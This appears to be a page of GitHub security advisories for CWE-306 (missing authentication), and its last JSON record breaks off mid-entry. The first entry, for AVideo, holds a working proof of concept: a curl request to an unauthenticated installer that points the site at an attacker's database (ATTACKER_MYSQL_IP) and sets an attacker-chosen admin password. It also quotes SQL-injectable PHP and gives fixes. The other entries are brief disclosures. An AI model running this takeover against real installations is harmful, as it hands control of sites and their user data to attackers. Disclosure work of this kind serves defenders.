CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
3469 vulnerabilities reference this CWE, most recent first.
GHSA-2F9H-23F7-8GCX
Vulnerability from github – Published: 2026-03-17 19:46 – Updated: 2026-03-20 21:22Summary
The install/checkConfiguration.php endpoint performs full application initialization — database setup, admin account creation, and configuration file write — from unauthenticated POST input. The only guard is checking whether videos/configuration.php already exists. On uninitialized deployments, any remote attacker can complete the installation with attacker-controlled credentials and an attacker-controlled database, gaining full administrative access.
Affected Component
install/checkConfiguration.php— entire file (lines 1-273)
Description
No authentication or access restriction on installer endpoint
The checkConfiguration.php file performs the most privileged operations in the application — creating the database schema, the admin account, and the configuration file — with no authentication, no setup token, no CSRF protection, and no IP restriction. The sole guard is a file-existence check:
// install/checkConfiguration.php — lines 2-5
if (file_exists("../videos/configuration.php")) {
error_log("Can not create configuration again: ". json_encode($_SERVER));
exit;
}
If videos/configuration.php does not exist (fresh deployment, container restart without persistent storage, re-deployment), the entire installer runs with attacker-controlled POST parameters.
Attacker-controlled database host eliminates credential guessing
Unlike typical installer exposure vulnerabilities where the attacker must guess the target's database credentials, this endpoint allows the attacker to supply their own database host:
// install/checkConfiguration.php — line 25
$mysqli = @new mysqli($_POST['databaseHost'], $_POST['databaseUser'], $_POST['databasePass'], "", $_POST['databasePort']);
The attacker can:
1. Run their own MySQL server with the AVideo schema pre-loaded
2. Set databaseHost to their server's IP
3. The connection succeeds (attacker controls the DB)
4. The configuration file is written pointing the application at the attacker's database permanently
Admin account creation with unsanitized input
The admin user is created with direct POST parameter concatenation into SQL:
// install/checkConfiguration.php — line 120
$sql = "INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', '"
. $_POST['contactEmail'] . "', '" . md5($_POST['systemAdminPass']) . "', now(), now(), true)";
This has two issues: (1) the attacker controls the admin password, and (2) $_POST['contactEmail'] is directly concatenated into SQL without escaping (SQL injection).
Configuration file written with attacker-controlled values
The configuration file is written to disk with all attacker-supplied values embedded:
// install/checkConfiguration.php — lines 238-247
$videosDir = $_POST['systemRootPath'].'videos/';
if(!is_dir($videosDir)){
mkdir($videosDir, 0777, true);
}
$fp = fopen("{$videosDir}configuration.php", "wb");
fwrite($fp, $content);
fclose($fp);
The $content variable (built at lines 188-236) embeds $_POST['databaseHost'], $_POST['databaseUser'], $_POST['databasePass'], $_POST['webSiteRootURL'], $_POST['systemRootPath'], and $_POST['salt'] directly into the PHP configuration file.
Inconsistent defense: CLI installer is protected, web endpoint is not
The CLI installer (install/install.php) properly restricts access:
// install/install.php — lines 3-5
if (!isCommandLineInterface()) {
die('Command Line only');
}
The web endpoint (checkConfiguration.php) lacks any equivalent protection, creating an inconsistent defense pattern.
No web server protection on install directory
There is no .htaccess file in the install/ directory. The root .htaccess does not block access to install/. The endpoint is directly accessible at /install/checkConfiguration.php.
Execution chain
- Attacker discovers an AVideo instance where
videos/configuration.phpdoes not exist (fresh or re-deployed) - Attacker sends POST to
/install/checkConfiguration.phpwith their own database host, admin password, and site configuration - The script connects to the attacker's database (or the target's with guessed/default credentials)
- Tables are created, admin user is inserted with attacker's password
configuration.phpis written to disk, permanently configuring the application- Attacker logs in as admin with full control over the application
Proof of Concept
Step 1: Set up an attacker-controlled MySQL server with the AVideo schema:
# On attacker's server
mysql -e "CREATE DATABASE avideo;"
mysql avideo < database.sql # Use AVideo's own schema file
Step 2: Send the installation request to the target:
curl -s -X POST https://TARGET/install/checkConfiguration.php \
-d 'systemRootPath=/var/www/html/AVideo/' \
-d 'databaseHost=ATTACKER_MYSQL_IP' \
-d 'databasePort=3306' \
-d 'databaseUser=attacker' \
-d 'databasePass=attacker_pass' \
-d 'databaseName=avideo' \
-d 'createTables=1' \
-d 'contactEmail=attacker@example.com' \
-d 'systemAdminPass=AttackerPass123!' \
-d 'webSiteTitle=Pwned' \
-d 'mainLanguage=en_US' \
-d 'webSiteRootURL=https://TARGET/'
Step 3: Log in as admin:
Username: admin
Password: AttackerPass123!
The attacker now has full administrative access. If using their own database, they control all application data.
Impact
- Full application takeover: Attacker becomes the sole admin with complete control
- Persistent backdoor via configuration: The
videos/configuration.phpfile is written with attacker-controlled database credentials, ensuring persistent access even after the attack - Data exfiltration: If pointing to the attacker's database, all future user data (registrations, uploads, comments) flows to the attacker
- Remote code execution potential: Admin access in AVideo enables file uploads and plugin management, which can lead to arbitrary PHP execution
- SQL injection bonus:
$_POST['contactEmail']on line 120 is directly concatenated into SQL, allowing additional database manipulation
Recommended Remediation
Option 1: Add a one-time setup token (preferred)
Generate a random setup token during deployment that must be provided to complete installation:
// At the top of install/checkConfiguration.php, after the file_exists check:
// Require a setup token that was generated during deployment
$setupTokenFile = __DIR__ . '/../videos/.setup_token';
if (!file_exists($setupTokenFile)) {
$obj = new stdClass();
$obj->error = "Setup token file not found. Create videos/.setup_token with a random secret.";
header('Content-Type: application/json');
echo json_encode($obj);
exit;
}
$expectedToken = trim(file_get_contents($setupTokenFile));
if (empty($_POST['setupToken']) || !hash_equals($expectedToken, $_POST['setupToken'])) {
$obj = new stdClass();
$obj->error = "Invalid setup token.";
header('Content-Type: application/json');
echo json_encode($obj);
exit;
}
Option 2: Restrict installer to localhost/CLI only
Block web access to the installer entirely:
// At the top of install/checkConfiguration.php, after the file_exists check:
if (!isCommandLineInterface()) {
$allowedIPs = ['127.0.0.1', '::1'];
if (!in_array($_SERVER['REMOTE_ADDR'], $allowedIPs)) {
header('Content-Type: application/json');
echo json_encode(['error' => 'Installation is only allowed from localhost']);
exit;
}
}
Additionally, add an .htaccess file in the install/ directory:
# install/.htaccess
<Files "checkConfiguration.php">
Require local
</Files>
Additional fixes needed
- Parameterize SQL queries on line 120 to prevent SQL injection:
$stmt = $mysqli->prepare("INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', ?, ?, now(), now(), true)");
$hashedPass = md5($_POST['systemAdminPass']); // Also: upgrade from md5 to password_hash()
$stmt->bind_param("ss", $_POST['contactEmail'], $hashedPass);
$stmt->execute();
- Upgrade password hashing from
md5()topassword_hash()withPASSWORD_BCRYPTorPASSWORD_ARGON2ID.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "25.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33038"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-17T19:46:40Z",
"nvd_published_at": "2026-03-20T06:16:11Z",
"severity": "HIGH"
},
"details": "## Summary\nThe `install/checkConfiguration.php` endpoint performs full application initialization \u2014 database setup, admin account creation, and configuration file write \u2014 from unauthenticated POST input. The only guard is checking whether `videos/configuration.php` already exists. On uninitialized deployments, any remote attacker can complete the installation with attacker-controlled credentials and an attacker-controlled database, gaining full administrative access.\n\n## Affected Component\n- `install/checkConfiguration.php` \u2014 entire file (lines 1-273)\n\n## Description\n\n### No authentication or access restriction on installer endpoint\n\nThe `checkConfiguration.php` file performs the most privileged operations in the application \u2014 creating the database schema, the admin account, and the configuration file \u2014 with no authentication, no setup token, no CSRF protection, and no IP restriction. The sole guard is a file-existence check:\n\n```php\n// install/checkConfiguration.php \u2014 lines 2-5\nif (file_exists(\"../videos/configuration.php\")) {\n error_log(\"Can not create configuration again: \". json_encode($_SERVER));\n exit;\n}\n```\n\nIf `videos/configuration.php` does not exist (fresh deployment, container restart without persistent storage, re-deployment), the entire installer runs with attacker-controlled POST parameters.\n\n### Attacker-controlled database host eliminates credential guessing\n\nUnlike typical installer exposure vulnerabilities where the attacker must guess the target\u0027s database credentials, this endpoint allows the attacker to supply their own database host:\n\n```php\n// install/checkConfiguration.php \u2014 line 25\n$mysqli = @new mysqli($_POST[\u0027databaseHost\u0027], $_POST[\u0027databaseUser\u0027], $_POST[\u0027databasePass\u0027], \"\", $_POST[\u0027databasePort\u0027]);\n```\n\nThe attacker can:\n1. Run their own MySQL server with the AVideo schema pre-loaded\n2. Set `databaseHost` to their server\u0027s IP\n3. The connection succeeds (attacker controls the DB)\n4. The configuration file is written pointing the application at the attacker\u0027s database permanently\n\n### Admin account creation with unsanitized input\n\nThe admin user is created with direct POST parameter concatenation into SQL:\n\n```php\n// install/checkConfiguration.php \u2014 line 120\n$sql = \"INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, \u0027admin\u0027, \u0027\"\n . $_POST[\u0027contactEmail\u0027] . \"\u0027, \u0027\" . md5($_POST[\u0027systemAdminPass\u0027]) . \"\u0027, now(), now(), true)\";\n```\n\nThis has two issues: (1) the attacker controls the admin password, and (2) `$_POST[\u0027contactEmail\u0027]` is directly concatenated into SQL without escaping (SQL injection).\n\n### Configuration file written with attacker-controlled values\n\nThe configuration file is written to disk with all attacker-supplied values embedded:\n\n```php\n// install/checkConfiguration.php \u2014 lines 238-247\n$videosDir = $_POST[\u0027systemRootPath\u0027].\u0027videos/\u0027;\n\nif(!is_dir($videosDir)){\n mkdir($videosDir, 0777, true);\n}\n\n$fp = fopen(\"{$videosDir}configuration.php\", \"wb\");\nfwrite($fp, $content);\nfclose($fp);\n```\n\nThe `$content` variable (built at lines 188-236) embeds `$_POST[\u0027databaseHost\u0027]`, `$_POST[\u0027databaseUser\u0027]`, `$_POST[\u0027databasePass\u0027]`, `$_POST[\u0027webSiteRootURL\u0027]`, `$_POST[\u0027systemRootPath\u0027]`, and `$_POST[\u0027salt\u0027]` directly into the PHP configuration file.\n\n### Inconsistent defense: CLI installer is protected, web endpoint is not\n\nThe CLI installer (`install/install.php`) properly restricts access:\n\n```php\n// install/install.php \u2014 lines 3-5\nif (!isCommandLineInterface()) {\n die(\u0027Command Line only\u0027);\n}\n```\n\nThe web endpoint (`checkConfiguration.php`) lacks any equivalent protection, creating an inconsistent defense pattern.\n\n### No web server protection on install directory\n\nThere is no `.htaccess` file in the `install/` directory. The root `.htaccess` does not block access to `install/`. The endpoint is directly accessible at `/install/checkConfiguration.php`.\n\n### Execution chain\n\n1. Attacker discovers an AVideo instance where `videos/configuration.php` does not exist (fresh or re-deployed)\n2. Attacker sends POST to `/install/checkConfiguration.php` with their own database host, admin password, and site configuration\n3. The script connects to the attacker\u0027s database (or the target\u0027s with guessed/default credentials)\n4. Tables are created, admin user is inserted with attacker\u0027s password\n5. `configuration.php` is written to disk, permanently configuring the application\n6. Attacker logs in as admin with full control over the application\n\n## Proof of Concept\n\n**Step 1:** Set up an attacker-controlled MySQL server with the AVideo schema:\n\n```bash\n# On attacker\u0027s server\nmysql -e \"CREATE DATABASE avideo;\"\nmysql avideo \u003c database.sql # Use AVideo\u0027s own schema file\n```\n\n**Step 2:** Send the installation request to the target:\n\n```bash\ncurl -s -X POST https://TARGET/install/checkConfiguration.php \\\n -d \u0027systemRootPath=/var/www/html/AVideo/\u0027 \\\n -d \u0027databaseHost=ATTACKER_MYSQL_IP\u0027 \\\n -d \u0027databasePort=3306\u0027 \\\n -d \u0027databaseUser=attacker\u0027 \\\n -d \u0027databasePass=attacker_pass\u0027 \\\n -d \u0027databaseName=avideo\u0027 \\\n -d \u0027createTables=1\u0027 \\\n -d \u0027contactEmail=attacker@example.com\u0027 \\\n -d \u0027systemAdminPass=AttackerPass123!\u0027 \\\n -d \u0027webSiteTitle=Pwned\u0027 \\\n -d \u0027mainLanguage=en_US\u0027 \\\n -d \u0027webSiteRootURL=https://TARGET/\u0027\n```\n\n**Step 3:** Log in as admin:\n\n```\nUsername: admin\nPassword: AttackerPass123!\n```\n\nThe attacker now has full administrative access. If using their own database, they control all application data.\n\n## Impact\n\n- **Full application takeover:** Attacker becomes the sole admin with complete control\n- **Persistent backdoor via configuration:** The `videos/configuration.php` file is written with attacker-controlled database credentials, ensuring persistent access even after the attack\n- **Data exfiltration:** If pointing to the attacker\u0027s database, all future user data (registrations, uploads, comments) flows to the attacker\n- **Remote code execution potential:** Admin access in AVideo enables file uploads and plugin management, which can lead to arbitrary PHP execution\n- **SQL injection bonus:** `$_POST[\u0027contactEmail\u0027]` on line 120 is directly concatenated into SQL, allowing additional database manipulation\n\n## Recommended Remediation\n\n### Option 1: Add a one-time setup token (preferred)\n\nGenerate a random setup token during deployment that must be provided to complete installation:\n\n```php\n// At the top of install/checkConfiguration.php, after the file_exists check:\n\n// Require a setup token that was generated during deployment\n$setupTokenFile = __DIR__ . \u0027/../videos/.setup_token\u0027;\nif (!file_exists($setupTokenFile)) {\n $obj = new stdClass();\n $obj-\u003eerror = \"Setup token file not found. Create videos/.setup_token with a random secret.\";\n header(\u0027Content-Type: application/json\u0027);\n echo json_encode($obj);\n exit;\n}\n\n$expectedToken = trim(file_get_contents($setupTokenFile));\nif (empty($_POST[\u0027setupToken\u0027]) || !hash_equals($expectedToken, $_POST[\u0027setupToken\u0027])) {\n $obj = new stdClass();\n $obj-\u003eerror = \"Invalid setup token.\";\n header(\u0027Content-Type: application/json\u0027);\n echo json_encode($obj);\n exit;\n}\n```\n\n### Option 2: Restrict installer to localhost/CLI only\n\nBlock web access to the installer entirely:\n\n```php\n// At the top of install/checkConfiguration.php, after the file_exists check:\nif (!isCommandLineInterface()) {\n $allowedIPs = [\u0027127.0.0.1\u0027, \u0027::1\u0027];\n if (!in_array($_SERVER[\u0027REMOTE_ADDR\u0027], $allowedIPs)) {\n header(\u0027Content-Type: application/json\u0027);\n echo json_encode([\u0027error\u0027 =\u003e \u0027Installation is only allowed from localhost\u0027]);\n exit;\n }\n}\n```\n\nAdditionally, add an `.htaccess` file in the `install/` directory:\n\n```apache\n# install/.htaccess\n\u003cFiles \"checkConfiguration.php\"\u003e\n Require local\n\u003c/Files\u003e\n```\n\n### Additional fixes needed\n\n1. **Parameterize SQL queries** on line 120 to prevent SQL injection:\n```php\n$stmt = $mysqli-\u003eprepare(\"INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, \u0027admin\u0027, ?, ?, now(), now(), true)\");\n$hashedPass = md5($_POST[\u0027systemAdminPass\u0027]); // Also: upgrade from md5 to password_hash()\n$stmt-\u003ebind_param(\"ss\", $_POST[\u0027contactEmail\u0027], $hashedPass);\n$stmt-\u003eexecute();\n```\n\n2. **Upgrade password hashing** from `md5()` to `password_hash()` with `PASSWORD_BCRYPT` or `PASSWORD_ARGON2ID`.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"id": "GHSA-2f9h-23f7-8gcx",
"modified": "2026-03-20T21:22:32Z",
"published": "2026-03-17T19:46:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2f9h-23f7-8gcx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33038"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/b3fa7869dcb935c8ab5c001a88dc29d2f92cf8e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "AVideo affected by unauthenticated application takeover via exposed web installer on uninitialized deployments"
}
GHSA-2FQF-9J8P-6MG2
Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2022-05-13 01:08A vulnerability has been identified in DIGSI 4 (All versions < V4.92), EN100 Ethernet module DNP3 variant (All versions < V1.05.00), EN100 Ethernet module IEC 104 variant (All versions), EN100 Ethernet module IEC 61850 variant (All versions < V4.30), EN100 Ethernet module Modbus TCP variant (All versions), EN100 Ethernet module PROFINET IO variant (All versions). The device engineering mechanism allows an unauthenticated remote user to upload a modified device configuration overwriting access authorization passwords.
{
"affected": [],
"aliases": [
"CVE-2018-4840"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-08T17:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in DIGSI 4 (All versions \u003c V4.92), EN100 Ethernet module DNP3 variant (All versions \u003c V1.05.00), EN100 Ethernet module IEC 104 variant (All versions), EN100 Ethernet module IEC 61850 variant (All versions \u003c V4.30), EN100 Ethernet module Modbus TCP variant (All versions), EN100 Ethernet module PROFINET IO variant (All versions). The device engineering mechanism allows an unauthenticated remote user to upload a modified device configuration overwriting access authorization passwords.",
"id": "GHSA-2fqf-9j8p-6mg2",
"modified": "2022-05-13T01:08:50Z",
"published": "2022-05-13T01:08:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-4840"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-203306.pdf"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-18-067-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2G2V-H26J-4QFH
Vulnerability from github – Published: 2024-11-22 21:32 – Updated: 2024-11-22 21:32A missing authentication for critical function vulnerability has been reported to affect Notes Station 3. If exploited, the vulnerability could allow remote attackers to gain access to and execute certain functions.
We have already fixed the vulnerability in the following version: Notes Station 3 3.9.7 and later
{
"affected": [],
"aliases": [
"CVE-2024-38643"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-22T16:15:24Z",
"severity": "CRITICAL"
},
"details": "A missing authentication for critical function vulnerability has been reported to affect Notes Station 3. If exploited, the vulnerability could allow remote attackers to gain access to and execute certain functions.\n\nWe have already fixed the vulnerability in the following version:\nNotes Station 3 3.9.7 and later",
"id": "GHSA-2g2v-h26j-4qfh",
"modified": "2024-11-22T21:32:15Z",
"published": "2024-11-22T21:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38643"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-24-36"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2G89-JXMP-M4M9
Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36The official chronograf docker images before 1.7.7-alpine (Alpine specific) contain a blank password for a root user. System using the chronograf docker container deployed by affected versions of the docker image may allow a remote attacker to achieve root access with a blank password.
{
"affected": [],
"aliases": [
"CVE-2020-35188"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-17T02:15:00Z",
"severity": "CRITICAL"
},
"details": "The official chronograf docker images before 1.7.7-alpine (Alpine specific) contain a blank password for a root user. System using the chronograf docker container deployed by affected versions of the docker image may allow a remote attacker to achieve root access with a blank password.",
"id": "GHSA-2g89-jxmp-m4m9",
"modified": "2022-05-24T17:36:46Z",
"published": "2022-05-24T17:36:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35188"
},
{
"type": "WEB",
"url": "https://github.com/koharin/koharin2/blob/main/CVE-2020-35188"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2G9R-W7MH-F2H2
Vulnerability from github – Published: 2025-06-06 06:30 – Updated: 2025-06-09 15:31A vulnerability was found in Signal App 7.41.4 on Android. It has been declared as problematic. This vulnerability affects unknown code of the component Biometric Authentication Handler. The manipulation leads to missing critical step in authentication. It is possible to launch the attack on the physical device. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-5715"
],
"database_specific": {
"cwe_ids": [
"CWE-304",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-06T04:15:55Z",
"severity": "LOW"
},
"details": "A vulnerability was found in Signal App 7.41.4 on Android. It has been declared as problematic. This vulnerability affects unknown code of the component Biometric Authentication Handler. The manipulation leads to missing critical step in authentication. It is possible to launch the attack on the physical device. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-2g9r-w7mh-f2h2",
"modified": "2025-06-09T15:31:38Z",
"published": "2025-06-06T06:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5715"
},
{
"type": "WEB",
"url": "https://drive.google.com/file/d/1tI0bC8X8546ActlzGlmSU-AhCdD950y4/view"
},
{
"type": "WEB",
"url": "https://drive.google.com/file/d/1tI0bC8X8546ActlzGlmSU-AhCdD950y4/view?usp=drivesdk"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.311236"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.311236"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.585069"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:P/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2GCR-P5W4-5HH8
Vulnerability from github – Published: 2026-05-08 00:31 – Updated: 2026-05-11 18:31An authentication bypass vulnerability was identified in GitHub Enterprise Server that allowed an unauthenticated attacker to create a local user account, bypassing the configured external identity provider. When external authentication was enabled, the signup endpoint did not properly enforce the authentication restriction, allowing account creation and session establishment without identity provider validation. The created account was limited to the default base permissions configured on the instance. Exploitation required network access to a GHES instance configured with an external authentication provider. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.20.2, 3.19.6, 3.18.9, 3.17.15, and 3.16.18.
{
"affected": [],
"aliases": [
"CVE-2026-6736"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-07T22:16:36Z",
"severity": "MODERATE"
},
"details": "An authentication bypass vulnerability was identified in GitHub Enterprise Server that allowed an unauthenticated attacker to create a local user account, bypassing the configured external identity provider. When external authentication was enabled, the signup endpoint did not properly enforce the authentication restriction, allowing account creation and session establishment without identity provider validation. The created account was limited to the default base permissions configured on the instance. Exploitation required network access to a GHES instance configured with an external authentication provider. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.20.2, 3.19.6, 3.18.9, 3.17.15, and 3.16.18.",
"id": "GHSA-2gcr-p5w4-5hh8",
"modified": "2026-05-11T18:31:36Z",
"published": "2026-05-08T00:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6736"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.16/admin/release-notes#3.16.18"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.17/admin/release-notes#3.17.15"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.18/admin/release-notes#3.18.9"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.6"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2GG8-85M5-8R2P
Vulnerability from github – Published: 2025-09-15 12:31 – Updated: 2025-09-15 21:06The Chaos Controller Manager in Chaos Mesh exposes a GraphQL debugging server without authentication to the entire Kubernetes cluster, which provides an API to kill arbitrary processes in any Kubernetes pod, leading to cluster-wide denial of service.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/chaos-mesh/chaos-mesh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59358"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-15T21:06:36Z",
"nvd_published_at": "2025-09-15T12:15:33Z",
"severity": "HIGH"
},
"details": "The Chaos Controller Manager in Chaos Mesh exposes a GraphQL debugging server without authentication to the entire Kubernetes cluster, which provides an API to kill arbitrary processes in any Kubernetes pod, leading to cluster-wide denial of service.",
"id": "GHSA-2gg8-85m5-8r2p",
"modified": "2025-09-15T21:06:36Z",
"published": "2025-09-15T12:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59358"
},
{
"type": "WEB",
"url": "https://github.com/chaos-mesh/chaos-mesh/pull/4702"
},
{
"type": "WEB",
"url": "https://github.com/chaos-mesh/chaos-mesh/commit/67281c36f8068bf103149318cd0a466417213a28"
},
{
"type": "PACKAGE",
"url": "https://github.com/chaos-mesh/chaos-mesh"
},
{
"type": "WEB",
"url": "https://jfrog.com/blog/chaotic-deputy-critical-vulnerabilities-in-chaos-mesh-lead-to-kubernetes-cluster-takeover"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Chaos Mesh\u0027s Chaos Controller Manager is Missing Authentication for Critical Function"
}
GHSA-2H29-MG3V-85XJ
Vulnerability from github – Published: 2022-05-17 02:57 – Updated: 2022-05-17 02:57An issue was discovered in Smiths-Medical CADD-Solis Medication Safety Software, Version 1.0; 2.0; 3.0; and 3.1. CADD-Solis Medication Safety Software grants an authenticated user elevated privileges on the SQL database, which would allow an authenticated user to modify drug libraries, add and delete users, and change user permissions. According to Smiths-Medical, physical access to the pump is required to install drug library updates.
{
"affected": [],
"aliases": [
"CVE-2016-8355"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-02-13T22:59:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in Smiths-Medical CADD-Solis Medication Safety Software, Version 1.0; 2.0; 3.0; and 3.1. CADD-Solis Medication Safety Software grants an authenticated user elevated privileges on the SQL database, which would allow an authenticated user to modify drug libraries, add and delete users, and change user permissions. According to Smiths-Medical, physical access to the pump is required to install drug library updates.",
"id": "GHSA-2h29-mg3v-85xj",
"modified": "2022-05-17T02:57:32Z",
"published": "2022-05-17T02:57:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-8355"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSMA-16-306-01"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/94630"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2H7C-HG5H-R87C
Vulnerability from github – Published: 2022-05-17 02:10 – Updated: 2024-02-14 18:30The ListView control in the Client GUI (AClient.exe) in Symantec Altiris Deployment Solution 6.x before 6.9.355 SP1 allows local users to gain SYSTEM privileges and execute arbitrary commands via a "Shatter" style attack on the "command prompt" hidden GUI button to (1) overwrite the CommandLine parameter to cmd.exe to use SYSTEM privileges and (2) modify the DLL that is loaded using the LoadLibrary API function.
{
"affected": [],
"aliases": [
"CVE-2008-6827"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-06-08T19:30:00Z",
"severity": "MODERATE"
},
"details": "The ListView control in the Client GUI (AClient.exe) in Symantec Altiris Deployment Solution 6.x before 6.9.355 SP1 allows local users to gain SYSTEM privileges and execute arbitrary commands via a \"Shatter\" style attack on the \"command prompt\" hidden GUI button to (1) overwrite the CommandLine parameter to cmd.exe to use SYSTEM privileges and (2) modify the DLL that is loaded using the LoadLibrary API function.",
"id": "GHSA-2h7c-hg5h-r87c",
"modified": "2024-02-14T18:30:24Z",
"published": "2022-05-17T02:10:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6827"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46006"
},
{
"type": "WEB",
